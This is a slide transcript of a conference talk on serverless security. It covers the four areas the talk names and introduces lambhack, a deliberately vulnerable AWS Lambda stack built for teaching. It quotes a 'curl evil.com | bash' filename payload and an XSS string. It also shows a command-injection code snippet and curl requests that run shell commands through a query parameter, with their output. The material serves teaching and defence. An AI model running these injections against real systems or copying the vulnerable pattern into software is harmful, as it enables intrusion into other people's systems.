Serverless Security: Are you ready for the Future?

transcript

SESSION ID:SESSION ID:

James Wickett

ASD-F01

Head of ResearchSignal Sciences@wickett

James Wickett

Head of Research at Signal SciencesAuthor DevOps Fundamentals at lynda.comAuthor of book on DevOps (email me for a free copy > james@signalsciences.com)Blogger at theagileadmin.com and labs.signalsciences.com

Conclusion

Serverless encourages functions as deploy units, coupled with third party services that allow running end-to-end applications without worrying about system operation. New serverless patterns are just emergingSecurity with serverless is easierSecurity with serverless is harder

Conclusion (2)

Four key areas apply to serverless securitySoftware Supply Chain SecurityDelivery Pipeline SecurityData Flow SecurityAttack Detection

New! A very vulnerable lambda stack open source projectgithub.com/wickett/lambhack

What is Serverless?

Misconceptions

It’s Marketing(cloud rebranded)

Serverless == no servers

Serverless ==Backend as a Service

serverless == Platform as a Service

TK: AdrianCO quote

So, what is Serverless?

http://martinfowler.com/articles/serverless.html

@mikebroberts

Serverless was first used to describe applications that

significantly or fully depend on 3rd party applications / services (‘in

the cloud’) to manage server-side logic and state.

Serverless can also mean applications where some amount of server-side logic is

still written by the application developer but unlike traditional architectures is run in stateless compute containers that are

event-triggered, ephemeral (may only last for one invocation), and fully managed by

a 3rd party. http://martinfowler.com/articles/serverless.html

History of Serverless

2012 - used to describe BaaS and Continuous Integration services run by third partiesLate 2014 - AWS launched LambdaJuly 2015 - AWS launched API GatewayOctober 2015 - AWS re:Invent - The Serverless company using AWS Lambda2015 to present - Frameworks forming2016 - Serverless Conference

http://www.slideshare.net/AmazonWebServices/arc308-the-serverless-company-using-aws-lambda

Client

Server

Database

Proxy/LB

ServerServer

Old School Arch

Serverless Arch

Client

Auth Service API Gateway

Database Service

Function A

Function B

Web Delivery

What can we say is serverless?

Serverless is Functions As a Service (FaaS)

Containers on Demand

Serverless is (no management of)

Servers

Serverless IS SERVICEFULL

Serverless is an opinionated framework for compute

Serverless encourages functions as deploy units, coupled with third party

services that allow running end-to-end applications without worrying about

system operation.

A Short History of Cloud

Virtualization

“The Cloud”

DEVOPS

SaaSPaaSIaaS

Private Cloud

Then, along came containers

containers are teh hawtness

Lots of effort in Container Orchestration

The Cloud was to Virtualization as Serverless

will be to Containers

If you want to lead your company bravely into the new world, you

would do well to focus lot on how serverless will evolve.

- @Cloudopinionhttps://medium.com/@cloud_opinion/the-pattern-may-repeat-26de1e8b489d

Serverless encourages functions as deploy units, coupled with third party

services that allow running end-to-end applications without worrying about

system operation.

So, what are the upsides?

Scaling built in

Pay for what you use in 100MS increments

With Serverless system administration is (mostly)

Serverless is implicit Microservices

Short Circuits Ops and moves infrastructure

runtime closer to devs

You can skip Chefing Dockering all the things!

Lean Startup Friendly

Increased Velocity

Great, what’s the catch?

Ops Burden to rationalize Serverless model

(specifically Deploy)

Monitoring

Logging

Stateless for Real with no persistence* across

function runs

Vendor Lock-In

Security

Reliability

Serverless Use cases

Image resizing

Queue processing

Run a web application

API Gateway

Security is the same and different

What used to be system calls is now distributed

computing over the network

Serverless shifts attack surface to third parties

Lets try a sample application in AWS

Go Sparta

Golang!AWS Lambda supports bring your own binarySparta wraps your binary with node.js shim

Other options

Serverless FrameworkAPEXKappa

Analyzes textual occurrences given a block of text, returns JSON count of wordsCalls API under the hood to get textIt is comprised of Lambda, s3, API Gateway

go run main.go provision -s S3_BUCKET

What I learned about serverless security

Security

Four areas of Serverless Security

Secure Software Supply ChainDelivery PipelineData Flow SecurityAttack Detection

Secure Software Supply Chain

Surface area Reduction!

Surface area Expansion!

SSL / TLS from the Provider

New Way

Old Way

Routing from the provider

Old Way

New Way

Lambda + s3 + kinesis + DynamoDB + cloudformation + API Gateway +

Abuse of open IAM privs

https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds

Recommendation: Use a third-party service to monitor for provider config

changes

Provider Security

Disable root access keysManage users with profilesSecure your keys in your deploy systemSecure keys in dev systemUse provider MFA

Delivery Pipeline Security

Unit Testing

Easier to mock

Harder to mock

Integration Testing

Configuration is part of delivery

Simple Deploy Pipeline Security

Only dev keys can push to ‘dev’Only build/deploy system can push to pre-prodIntegration tests must pass in this envSecurity validation must take placeAllow push to prod, only by deploy system

Security Integration Testing

BDD-Security - github.com/continuumsecurity/bdd-securityGauntlt - gauntlt.org

http://www.slideshare.net/wickett/pragmatic-security-and-rugged-devops-sxsw-2015

Data Flow Security

DevelopmentData Flow DiagramsThreat modeling

Runtime

Your provider is responsible for the underlying infrastructure and services. You are responsible for ensuring you use the services in

a secure manner.https://read.acloud.guru/adopting-serverless-architectures-and-security-254a0c12b54a

Application layer DoS

Timeouts and Execution restrictions

Attack Detection

https://medium.com/@PaulDJohnston/security-and-serverless-ec52817385c4

AppSec Greatest Hits (XSS, SQLi, Cmdexe) still relevant

15 years later!

AppSec Problems

Types of Attacks

XSS, Injection, Deserialization, …New surface area similar problemse.g. appending to ‘curl evil.com | bash’ or <script>alert(1)</script> to a filename you upload on s3

Defense

Logging, emitting eventsVandium (SQLi) wrapperContent Security Policy (CSP)More things need to be done here…

New Thing Alert!

Want to see make the point that appsec is still relevant in serverlessA vulnerable Lambda + API Gateway stack (born from the heritage of WebGoat, Rails Goat and Gruyere, …)

Introducing lambhack

lambhack

A Vulnerable Lambda + API Gateway stackOpen Source, MIT licensedReleased for the first time here at RSAIncludes arbitrary code execution in a query stringMore work needed, PRs accepted and looking for community helpgithub.com/wickett/lambhack

//command := lambdaEvent.PathParams["command"] command := lambdaEvent.QueryParams["args"] output := runner.Run(command)

Vulnerable code is also vulnerable in Serverless

Let’s take a look at cmdexe in lambhack

$ curl "https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=uname+-a;+sleep+1"

> Linux ip-10-36-34-119 4.4.35-33.55.amzn1.x86_64 #1 SMP Tue Dec 6 20:30:04 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

uname -a

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=cat+/proc/version;+sleep+1"

> Linux version 4.4.35-33.55.amzn1.x86_64 (mockbuild@gobi-build-60006) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Tue Dec 6 20:30:04 UTC 2016

cat /proc/version

$ curl "https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=ls+-la+/tmp;+sleep+1"

total 17916 drwx------ 2 sbx_user1056 490 4096 Feb 8 22:02 . drwxr-xr-x 21 root root 4096 Feb 8 21:47 .. -rwxrwxr-x 1 sbx_user1056 490 18334049 Feb 8 22:02 Sparta.lambda.amd64

Let’s see /tmp

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=ls+/tmp;+sleep+1"

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/pargs=touch+/tmp/wickettfile;+sleep+1"

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/args=ls+/tmp;+sleep+1"

> Sparta.lambda.amd64 wickettfile

Lambda Reuse!

$ curl "https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=which+curl;+sleep+1"

> /usr/bin/curl

Could we upload our own payload?

XSS, SQLi, … More to come!

email me if you are interested: james@signalsciences.com

Conclusion

Serverless encourages functions as deploy units, coupled with third party services that allow running end-to-end applications without worrying about system operation. New serverless patterns are just emergingSecurity with serverless is easierSecurity with serverless is harder

Conclusion (2)

Four key areas apply to serverless securitySoftware Supply Chain SecurityDelivery Pipeline SecurityData Flow SecurityAttack Detection

New! A very vulnerable lambda stack open source projectgithub.com/wickett/lambhack

Let’s talk!

James Wickettjames@signalsciences.com@wickett